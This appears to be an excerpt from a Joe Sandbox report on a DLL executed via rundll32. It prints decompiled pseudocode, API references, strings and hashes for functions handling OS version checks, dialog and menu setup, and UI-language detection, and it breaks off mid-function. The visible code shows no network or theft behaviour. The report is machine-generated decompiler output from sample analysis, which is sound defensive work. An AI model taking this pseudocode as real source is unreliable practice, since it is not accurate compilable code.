Instruction Fuzzy Hash: 37F0423114008AEAEF019EA6C809AAE3FA8EF16380B408430A82586024EB32D654BF61

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4A04F Relevance: 3.0, APIs: 2, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB4A04F(intOrPtr __ebx, intOrPtr __esi, void* __eflags) {
				signed int _v8;
				struct _OSVERSIONINFOA _v156;
				signed int _t9;
				intOrPtr _t21;
				intOrPtr _t22;
				char _t24;
				signed int _t27;

				_t25 = _t27;
				_t9 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t9 ^ _t27;
				E6EB65E80(_t22,  &(_v156.dwMajorVersion), 0, 0x90);
				_v156.dwOSVersionInfoSize = 0x94;
				GetVersionExA( &_v156);
				return E6EB63DE0(0 | _v156.dwPlatformId == 0x00000002, __ebx, _v8 ^ _t25, _t21, _t22, __esi, _t24);
			}

0x6eb4a052
0x6eb4a05a
0x6eb4a061
0x6eb4a072
0x6eb4a081
0x6eb4a08b
0x6eb4a0a8

APIs

_memset.LIBCMT ref: 6EB4A072
GetVersionExA.KERNEL32(?), ref: 6EB4A08B

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Version_memset
String ID:
API String ID: 963298953-0
Opcode ID: 565214565c518aba39c9e2dee5379300e0b75f4c3969d9bafa3ef34c6252ac91
Instruction ID: 6def1e3c3debd70614584c2380b42733e6f4b02e2956753188ff806366c98f8c
Opcode Fuzzy Hash: 565214565c518aba39c9e2dee5379300e0b75f4c3969d9bafa3ef34c6252ac91
Instruction Fuzzy Hash: C2F0657591021C9FDF60DB70DD49BCEB7B8AB45308F5144A4950EE3282DE709A4DCB51

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45CD0 Relevance: 51.1, APIs: 25, Strings: 4, Instructions: 328
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB45CD0(void* __ecx, void* __edx, void* __eflags, long _a28, struct HWND__* _a52) {
				int _v8;
				char _v16;
				CHAR* _v40;
				CHAR* _v48;
				struct tagPOINT _v120;
				intOrPtr _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t72;
				struct HMENU__** _t142;
				intOrPtr* _t146;
				void* _t152;
				void* _t153;
				void* _t196;
				struct HMENU__* _t210;
				void* _t215;
				void* _t217;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;
				CHAR* _t224;
				void* _t225;
				signed int _t232;
				void* _t235;
				struct HMENU__** _t237;

				_t235 = __eflags;
				_t196 = __edx;
				_t156 = __ecx;
				_push(0xffffffff);
				_push(0x6eb78878);
				_push( *[fs:0x0]);
				_push(_t152);
				_push(_t225);
				_push(_t217);
				_t72 =  *0x6eb89470; // 0xc96cff66
				_push(_t72 ^ (_t232 & 0xfffffff8) - 0x0000001c);
				 *[fs:0x0] =  &_v16;
				_t215 = __ecx;
				E6EB52DEE(__ecx, __ecx);
				_t153 = E6EB53E65(_t152, _t156, _t215, _t217, _t235, GetSystemMenu( *(_t215 + 0x20), 0));
				if(_t153 != 0) {
					_t142 = E6EB4838C();
					_t237 = _t142;
					_t190 = 0 | _t237 == 0x00000000;
					if(_t237 == 0) {
						_t142 = E6EB41000(_t190, _t196, 0x80004005);
					}
					_t210 =  *_t142;
					_t6 =  *((intOrPtr*)( *((intOrPtr*)(_t210 + 0xc))))() + 0x10; // 0x10
					_t224 = _t6;
					_v40 = _t224;
					_push(0x65);
					_v8 = 0;
					if(E6EB53471() != 0) {
						E6EB46870(_t153,  &_v40, _t215, _t224, _t225, _t145, 0x65);
						_t224 = _v48;
					}
					if( *((intOrPtr*)(_t224 - 0xc)) != 0) {
						AppendMenuA( *(_t153 + 4), 0x800, 0, 0);
						_t210 =  *(_t153 + 4);
						AppendMenuA(_t210, 0, 0x10, _t224);
					}
					_t14 = _t224 - 0x10; // 0x0
					_t146 = _t14;
					_v8 = 0xffffffff;
					asm("lock xadd [ecx], edx");
					if((_t210 | 0xffffffff) - 1 <= 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t146)) + 4))))(_t146);
					}
				}
				SendMessageA( *(_t215 + 0x20), 0x80, 1,  *(_t215 + 0x358));
				SendMessageA( *(_t215 + 0x20), 0x80, 0,  *(_t215 + 0x358));
				_t218 = _t215 + 0x148;
				E6EB49F80(_t218, 0, 0xff, 0);
				SendMessageA( *(_t218 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t218 + 0x20), _t218);
				 *((intOrPtr*)(_t218 + 0x80)) = E6EB4F53F(_t215, 0x3ed);
				_a52 =  *(_t218 + 0x20);
				E6EB4F6CB(_t85, 5);
				SendMessageA( *(_t218 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t218 + 0x20), _t218);
				E6EB46B40(0x5b5be3, _t218);
				SendMessageA( *(_t215 + 0x168), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x168), 0x415, 0, 0x20);
				_t219 = _t215 + 0x250;
				E6EB49F80(_t219, 0, 0xff, 0);
				SendMessageA( *(_t219 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t219 + 0x20), _t219);
				 *((intOrPtr*)(_t219 + 0x80)) = E6EB4F53F(_t215, 0x3ee);
				_a52 =  *(_t219 + 0x20);
				E6EB4F6CB(_t97, 5);
				SendMessageA( *(_t219 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t219 + 0x20), _t219);
				E6EB46B40(0x5be35b, _t219);
				SendMessageA( *(_t215 + 0x270), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x270), 0x415, 0, 0x20);
				_t220 = _t215 + 0x2d4;
				E6EB49F80(_t220, 0, 0xff, 0);
				SendMessageA( *(_t220 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t220 + 0x20), _t220);
				 *((intOrPtr*)(_t220 + 0x80)) = E6EB4F53F(_t215, 0x3ef);
				_a52 =  *(_t220 + 0x20);
				E6EB4F6CB(_t109, 5);
				SendMessageA( *(_t220 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t220 + 0x20), _t220);
				E6EB46B40(0xe35b5b, _t220);
				SendMessageA( *(_t215 + 0x2f4), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x2f4), 0x415, 0, 0x20);
				_t221 = _t215 + 0x1cc;
				E6EB49F80(_t221, 0, 0xf0, 0);
				SendMessageA( *(_t221 + 0x20), 0x405, 1, 0x78);
				E6EB412C0( *(_t221 + 0x20), _t221);
				 *((intOrPtr*)(_t221 + 0x80)) = E6EB4F53F(_t215, 0x3f0);
				_a52 =  *(_t221 + 0x20);
				E6EB4F6CB(_t121, 5);
				SendMessageA( *(_t221 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t221 + 0x20), _t221);
				E6EB46B40(0xc0c0c0, _t221);
				SendMessageA( *(_t215 + 0x1ec), 0x414, 0xc, 0);
				SendMessageA( *(_t215 + 0x1ec), 0x415, 0, 0x18);
				_t222 = E6EB4F53F(_t215, 0x3e8);
				GetClientRect( *(_t222 + 0x20),  &_v120);
				MapWindowPoints( *(_t222 + 0x20),  *(_t215 + 0x20),  &_v120, 2);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t215 + 0x7c)) + 0x54))))(0, "Spectrum", 0x50000000,  &_v120, _t215, 0x1245, 0);
				SendMessageA( *(_t222 + 0x20), 0x10, 0, 0);
				PostMessageA( *(_t215 + 0x20), 0x115, 0,  *(_t215 + 0x168));
				 *[fs:0x0] = _v128;
				return 1;
			}

APIs

GetSystemMenu.USER32(?,00000000,C96CFF66), ref: 6EB45D0A
AppendMenuA.USER32 ref: 6EB45D86
AppendMenuA.USER32 ref: 6EB45D91
SendMessageA.USER32 ref: 6EB45DCF
SendMessageA.USER32 ref: 6EB45DE3
SendMessageA.USER32 ref: 6EB45E0B
SendMessageA.USER32 ref: 6EB45E44
SendMessageA.USER32 ref: 6EB45E65
SendMessageA.USER32 ref: 6EB45E77
SendMessageA.USER32 ref: 6EB45E9F
SendMessageA.USER32 ref: 6EB45ED8
SendMessageA.USER32 ref: 6EB45EF9
SendMessageA.USER32 ref: 6EB45F0B
SendMessageA.USER32 ref: 6EB45F33
SendMessageA.USER32 ref: 6EB45F6C
SendMessageA.USER32 ref: 6EB45F8D
SendMessageA.USER32 ref: 6EB45F9F
SendMessageA.USER32 ref: 6EB45FC4

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

Part of subcall function 6EB4F53F: GetDlgItem.USER32 ref: 6EB4F550

Part of subcall function 6EB4F6CB: ShowWindow.USER32(?,?), ref: 6EB4F6DC

SendMessageA.USER32 ref: 6EB45FFD

Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
Part of subcall function 6EB46B40: CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
Part of subcall function 6EB46B40: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
Part of subcall function 6EB46B40: CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

SendMessageA.USER32 ref: 6EB4601E
SendMessageA.USER32 ref: 6EB46030
GetClientRect.USER32 ref: 6EB46049
MapWindowPoints.USER32 ref: 6EB4605E
SendMessageA.USER32 ref: 6EB46092
PostMessageA.USER32(?,00000115,00000000,?), ref: 6EB460A6

Strings

[[, xrefs: 6EB45E4B
Spectrum, xrefs: 6EB4607F
[[, xrefs: 6EB45F73
[[, xrefs: 6EB45EDF

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Message$Send$AdjustColorLuma$CreateMenu$AppendBrushWindow$BitmapClientIndirectItemPointsPostRectShowSolidSystem
String ID: Spectrum$[[$[[$[[
API String ID: 2261454407-2031012944
Opcode ID: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction ID: 73c41df5729a1558f5bd62318f09f060b55f7df688e15f48cb8305b8d75a0ae3
Opcode Fuzzy Hash: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction Fuzzy Hash: 67B1A771340745BBE614DBB4CC86FAEB799BB88B04F104A18F745AB2C5DBB4F8019798

Uniqueness

Uniqueness Score: -1.00%

Function 6EB507D6 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB507D6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t61;
				_Unknown_base(*)()* _t62;
				struct HINSTANCE__* _t63;
				struct HINSTANCE__* _t76;
				unsigned int _t79;
				signed short _t87;
				unsigned int _t88;
				_Unknown_base(*)()* _t95;
				signed short _t97;
				unsigned int _t98;
				signed int _t106;
				signed int _t118;
				signed int _t127;
				void* _t130;

				_push(0x15c);
				E6EB66564(0x6eb776e6, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t130 - 0x124)) =  *((intOrPtr*)(_t130 + 8));
				_t123 = 0;
				 *((intOrPtr*)(_t130 - 0x130)) =  *((intOrPtr*)(_t130 + 0xc));
				 *(_t130 - 0x120) = 0;
				 *(_t130 - 0x11c) = 0;
				_t61 = GetModuleHandleA("kernel32.dll");
				_t106 = GetProcAddress;
				 *(_t130 - 0x134) = _t61;
				_t62 = GetProcAddress(_t61, "GetUserDefaultUILanguage");
				if(_t62 == 0) {
					_t63 = GetModuleHandleA("ntdll.dll");
					if(_t63 != 0) {
						 *(_t130 - 0x120) = 0;
						EnumResourceLanguagesA(_t63, 0x10, 1, E6EB5009A, _t130 - 0x120);
						if( *(_t130 - 0x120) != 0) {
							_t79 =  *(_t130 - 0x120) & 0x0000ffff;
							_t123 = _t79 & 0x3ff;
							 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t79 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
							 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale(_t123);
							 *(_t130 - 0x11c) = 2;
						}
					}
				} else {
					_t87 =  *_t62() & 0x0000ffff;
					 *(_t130 - 0x120) = _t87;
					_t88 = _t87 & 0x0000ffff;
					_t123 = 0x3ff;
					_t118 = _t88 & 0x3ff;
					 *(_t130 - 0x11c) = _t118;
					 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t88 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t118);
					 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale( *(_t130 - 0x11c));
					 *(_t130 - 0x11c) = 2;
					_t95 = GetProcAddress( *(_t130 - 0x134), "GetSystemDefaultUILanguage");
					if(_t95 != 0) {
						_t97 =  *_t95() & 0x0000ffff;
						 *(_t130 - 0x120) = _t97;
						_t98 = _t97 & 0x0000ffff;
						_t123 = _t98 & 0x3ff;
						 *((intOrPtr*)(_t130 - 0x140)) = ConvertDefaultLocale(_t98 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
						 *((intOrPtr*)(_t130 - 0x13c)) = ConvertDefaultLocale(_t123);
						 *(_t130 - 0x11c) = 4;
					}
				}
				 *(_t130 - 0x11c) =  &(1[ *(_t130 - 0x11c)]);
				 *((intOrPtr*)(_t130 +  *(_t130 - 0x11c) * 4 - 0x148)) = 0x800;
				_t126 = 0x6eb40000;
				 *((char*)(_t130 - 0x13)) = 0;
				 *((char*)(_t130 - 0x14)) = 0;
				if(GetModuleFileNameA(0x6eb40000, _t130 - 0x118, 0x105) != 0) {
					_t123 = 0x20;
					_t106 = 0;
					E6EB65E80(_t123, _t130 - 0x168, 0, _t123);
					 *(_t130 - 0x168) = _t123;
					 *((intOrPtr*)(_t130 - 0x160)) = _t130 - 0x118;
					 *((intOrPtr*)(_t130 - 0x154)) = 0x3e8;
					 *(_t130 - 0x14c) = 0x6eb40000;
					 *((intOrPtr*)(_t130 - 0x164)) = 0x88;
					E6EB500B4(_t130 - 0x12c, 0xffffffff);
					 *(_t130 - 4) = 0;
					if(E6EB5016B(_t130 - 0x12c, _t130 - 0x168) != 0) {
						E6EB501A5(_t130 - 0x12c);
					}
					_t127 = 0;
					if( *(_t130 - 0x11c) <= _t106) {
						L13:
						_t126 = 0;
						goto L15;
					} else {
						while(1) {
							_t76 = E6EB505A6( *((intOrPtr*)(_t130 - 0x124)),  *((intOrPtr*)(_t130 - 0x130)), _t123,  *((intOrPtr*)(_t130 + _t127 * 4 - 0x148)));
							if(_t76 != _t106) {
								_t126 = _t76;
								break;
							}
							_t127 =  &(1[_t127]);
							if(_t127 <  *(_t130 - 0x11c)) {
								continue;
							}
							goto L13;
						}
						L15:
						 *(_t130 - 4) =  *(_t130 - 4) | 0xffffffff;
						E6EB50678(_t130 - 0x12c);
						goto L7;
					}
				}
				L7:
				return E6EB665E7(_t106, _t123, _t126);
			}

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB507E0
GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 6EB508D8
EnumResourceLanguagesA.KERNEL32 ref: 6EB508F5
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50928
ConvertDefaultLocale.KERNEL32(00000000), ref: 6EB50931
GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974
_memset.LIBCMT ref: 6EB50994

Strings

GetSystemDefaultUILanguage, xrefs: 6EB50870
kernel32.dll, xrefs: 6EB507F9
GetUserDefaultUILanguage, xrefs: 6EB50818
ntdll.dll, xrefs: 6EB508D3

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$EnumFileH_prolog3_LanguagesNameResource_memset
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 3537336938-2299501126
Opcode ID: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction ID: 4acfe1c66c19466c6cb5e14a66d98ab07e7148fd5be3dc76ed00736a7e14688f
Opcode Fuzzy Hash: 94ff486a1334b2b097a7ae0846bede8824a7e5b152ad0e032adaf0e4b88d8020
Instruction Fuzzy Hash: C9514B71D102688FDF65DFA5CC447EDBAB8AB59304F0041EAE548E3280E7748A91CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62211 Relevance: 29.0, APIs: 19, Instructions: 460
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E6EB62211(void* __ebx, signed short* __ecx, void* __edi, void* __esi) {
				signed int* _t193;
				void* _t197;
				signed int _t210;
				signed int _t214;
				void* _t216;
				intOrPtr _t219;
				signed short _t220;
				signed short _t222;
				signed short _t224;
				void* _t238;
				CHAR* _t244;
				signed short _t245;
				signed short _t246;
				signed int _t248;
				signed int _t249;
				signed int _t250;
				signed int _t258;
				signed short _t261;
				void* _t265;
				signed short _t268;
				signed short _t269;
				signed short* _t272;
				signed int _t290;
				signed short* _t291;
				signed int _t306;
				signed int _t311;
				void* _t313;
				intOrPtr* _t314;
				signed short* _t316;
				signed short _t318;
				intOrPtr* _t319;
				intOrPtr _t320;
				signed short* _t321;
				void* _t322;
				void* _t323;
				void* _t324;

				_t267 = __ebx;
				_push(__esi);
				_push(__edi);
				_t316 = __ecx;
				_t311 = 0;
				if( *((intOrPtr*)(__ecx + 8)) <= 0) {
					L6:
					return _t193;
				} else {
					_push(__ebx);
					while(1) {
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311))) == 0) {
							break;
						}
						_t272 = _t316;
						if( *((intOrPtr*)(E6EB61367(_t272, _t311) + 4)) == 0) {
							break;
						} else {
							_t265 = E6EB61367(_t316, _t311);
							_t267 = _t265;
							_t193 =  *(E6EB61367(_t316, _t311));
							_t311 = _t311 + 1;
							 *_t193 = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t265 + 4)))) != 0x00000000;
							if(_t311 < _t316[4]) {
								continue;
							} else {
								goto L6;
							}
						}
						goto L86;
					}
					E6EB48BA4(_t267, _t272, _t311, _t316, __eflags);
					asm("int3");
					_push(0x7c);
					_t197 = E6EB664FB(0x6eb7849c, _t267, _t311, _t316);
					 *(_t322 - 0x24) = _t272;
					_t268 = 0;
					__eflags =  *_t272;
					if( *_t272 != 0) {
						 *((intOrPtr*)(_t322 - 0x54)) = 0;
						 *((intOrPtr*)(_t322 - 0x50)) = 0;
						 *(_t322 - 0x4c) = 0;
						 *((intOrPtr*)(_t322 - 0x48)) = 0;
						 *(_t322 - 4) = 0;
						E6EB65E80(_t311, _t322 - 0x54, 0, 0x10);
						_t324 = _t323 + 0xc;
						__eflags =  *(_t322 + 0x18);
						if( *(_t322 + 0x18) != 0) {
							 *(_t322 - 0x4c) = lstrlenA( *(_t322 + 0x18));
						}
						__eflags =  *(_t322 + 0xc) & 0x0000000c;
						 *((intOrPtr*)(_t322 - 0x20)) = 0xfffffffd;
						if(( *(_t322 + 0xc) & 0x0000000c) != 0) {
							 *((intOrPtr*)(_t322 - 0x48)) = 1;
							 *((intOrPtr*)(_t322 - 0x50)) = _t322 - 0x20;
						}
						 *((intOrPtr*)(_t322 - 0x68)) = 0x6eb7c160;
						 *((intOrPtr*)(_t322 - 0x64)) = _t268;
						 *((intOrPtr*)(_t322 - 0x58)) = _t268;
						 *((intOrPtr*)(_t322 - 0x5c)) = _t268;
						 *((intOrPtr*)(_t322 - 0x60)) = _t268;
						_t201 =  *(_t322 - 0x4c);
						 *(_t322 - 4) = 1;
						_t313 = 4;
						__eflags =  *(_t322 - 0x4c) - _t268;
						if(__eflags != 0) {
							_t306 = 0x10;
							_t320 = E6EB47C96(__eflags,  ~(0 | __eflags > 0x00000000) | _t201 * _t306);
							 *((intOrPtr*)(_t322 - 0x54)) = _t320;
							E6EB65E80(_t313, _t320, _t268,  *(_t322 - 0x4c) << 4);
							_t244 =  *(_t322 + 0x18);
							_t290 =  *(_t322 - 0x4c) << 4;
							_t324 = _t324 + 0x10;
							__eflags =  *_t244;
							_t42 = _t290 - 0x10; // -16
							_t291 = _t320 + _t42;
							 *(_t322 - 0x14) = _t244;
							 *(_t322 - 0x10) = _t291;
							if( *_t244 != 0) {
								_t245 =  *(_t322 + 0x1c);
								_t269 = _t245 - 4;
								_t47 =  &(_t291[4]); // -8
								_t321 = _t47;
								_t246 = _t245 + 0xfffffff8;
								__eflags = _t246;
								 *(_t322 - 0x1c) = _t321;
								 *(_t322 + 0x1c) = _t246;
								do {
									_t248 =  *( *(_t322 - 0x14)) & 0x000000ff;
									 *_t291 = _t248;
									__eflags = _t248 & 0x00000040;
									if((_t248 & 0x00000040) != 0) {
										_t261 = _t248 & 0x0000ffbf | 0x00004000;
										__eflags = _t261;
										 *_t291 = _t261;
									}
									_t249 =  *_t291 & 0x0000ffff;
									__eflags = _t249 - 0x4002;
									if(__eflags > 0) {
										_t250 = _t249 - 0x4003;
										__eflags = _t250 - 0x12;
										if(_t250 <= 0x12) {
											switch( *((intOrPtr*)(_t250 * 4 +  &M6EB627A7))) {
												case 0:
													goto L42;
												case 1:
													 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
													_t269 = _t269 + _t313;
													_t252 =  *_t269;
													asm("sbb ecx, ecx");
													 *_t252 =  ~( *_t252) & 0x0000ffff;
													 *_t321 = _t252;
													_t253 = E6EB610FD(_t322 - 0x34, _t252, _t252, 0);
													 *(_t322 - 4) = 3;
													E6EB6159D(_t322 - 0x68, _t253);
													__eflags =  *(_t322 - 0x2c);
													 *(_t322 - 4) = 1;
													if(__eflags != 0) {
														E6EB47CD0(_t269, _t313, _t321, __eflags,  *((intOrPtr*)(_t322 - 0x34)));
													}
													goto L43;
												case 2:
													goto L43;
											}
										}
									} else {
										if(__eflags == 0) {
											L42:
											 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
											_t269 = _t269 + _t313;
											__eflags = _t269;
											 *_t321 =  *_t269;
										} else {
											_t258 = _t249;
											__eflags = _t258 - 0x13;
											if(__eflags <= 0) {
												switch( *((intOrPtr*)(_t258 * 4 +  &M6EB62757))) {
													case 0:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__ax =  *__ebx;
														goto L36;
													case 1:
														goto L42;
													case 2:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 3:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 8;
														__eax =  *(__ebp + 0x1c);
														__ebx = __ebx + 8;
														 *__esi =  *( *(__ebp + 0x1c));
														goto L43;
													case 4:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														goto L25;
													case 5:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														 *(__ebp - 0x1c) = __eax;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																goto L31;
															}
														}
														goto L43;
													case 6:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														 *__ebx =  ~( *__ebx);
														asm("sbb eax, eax");
														L36:
														 *__esi = __ax;
														goto L43;
													case 7:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + 4;
														__edi =  *(__ebp - 0x10);
														__ebx = __ebx + 4;
														__esi =  *__ebx;
														asm("movsd");
														asm("movsd");
														asm("movsd");
														asm("movsd");
														__esi =  *(__ebp - 0x1c);
														_push(4);
														_pop(__edi);
														goto L43;
													case 8:
														L32:
														 *(__ebp + 0x1c) =  *(__ebp + 0x1c) + __edi;
														__ebx = __ebx + __edi;
														__eax =  *__ebx;
														_push(__eax);
														__ecx = __ebp - 0x18;
														 *(__ebp - 0x1c) = __eax;
														__eax = E6EB4922C(__ebx, __ecx, __edi, __esi, __eflags);
														_push( *(__ebp - 0x18));
														 *((char*)(__ebp - 4)) = 2;
														__imp__#2();
														__eflags =  *(__ebp - 0x1c);
														 *__esi = __eax;
														if( *(__ebp - 0x1c) != 0) {
															__eflags = __eax;
															if(__eflags == 0) {
																L31:
																__eax = E6EB48B6C(__ebx, __ecx, __edi, __esi, __eflags);
																goto L32;
															}
														}
														__ecx =  *(__ebp - 0x10);
														_push(8);
														_pop(__eax);
														 *( *(__ebp - 0x10)) = __ax;
														__ecx =  *(__ebp - 0x18);
														__ecx =  *(__ebp - 0x18) + 0xfffffff0;
														 *((char*)(__ebp - 4)) = 1;
														__eax = E6EB41020(__ecx, __edx);
														goto L43;
													case 9:
														goto L43;
													case 0xa:
														 *(_t322 + 0x1c) =  *(_t322 + 0x1c) + _t313;
														_t269 = _t269 + _t313;
														 *_t321 =  *_t269;
														goto L43;
													case 0xb:
														__eax =  *(__ebp + 0x1c);
														__eax =  *(__ebp + 0x1c) + 8;
														 *(__ebp + 0x1c) = __eax;
														__ebx = __ebx + 8;
														__eflags = __ebx;
														L25:
														__ecx =  *__eax;
														 *__esi = __ecx;
														__esi[1] = __eax;
														goto L43;
												}
											}
										}
									}
									L43:
									_t291 =  *(_t322 - 0x10) - 0x10;
									_t321 = _t321 - 0x10;
									 *(_t322 - 0x14) =  &(( *(_t322 - 0x14))[1]);
									__eflags =  *( *(_t322 - 0x14));
									 *(_t322 - 0x10) = _t291;
									 *(_t322 - 0x1c) = _t321;
								} while ( *( *(_t322 - 0x14)) != 0);
								_t268 = 0;
								__eflags = 0;
							}
						}
						_t318 = 0;
						E6EB54FBE(_t322 - 0x44);
						__eflags =  *(_t322 + 0x10) - _t268;
						if( *(_t322 + 0x10) != _t268) {
							_t318 = _t322 - 0x44;
						}
						E6EB65E80(_t313, _t322 - 0x88, _t268, 0x20);
						 *(_t322 - 0x28) =  *(_t322 - 0x28) | 0xffffffff;
						_t305 = _t322 - 0x54;
						 *(_t322 + 0xc) =  *((intOrPtr*)( *( *( *(_t322 - 0x24))) + 0x18))(_t318, _t322 - 0x88, _t322 - 0x28);
						E6EB62211(_t268, _t322 - 0x68, _t313, _t318,  *( *(_t322 - 0x24)),  *((intOrPtr*)(_t322 + 8)), 0x6eb7e0f4, _t268,  *(_t322 + 0xc), _t322 - 0x54);
						_t210 =  *(_t322 - 0x4c);
						__eflags = _t210 - _t268;
						if(__eflags != 0) {
							_t318 =  *(_t322 + 0x18);
							_t313 = (_t210 << 4) +  *((intOrPtr*)(_t322 - 0x54)) - 0x10;
							while(1) {
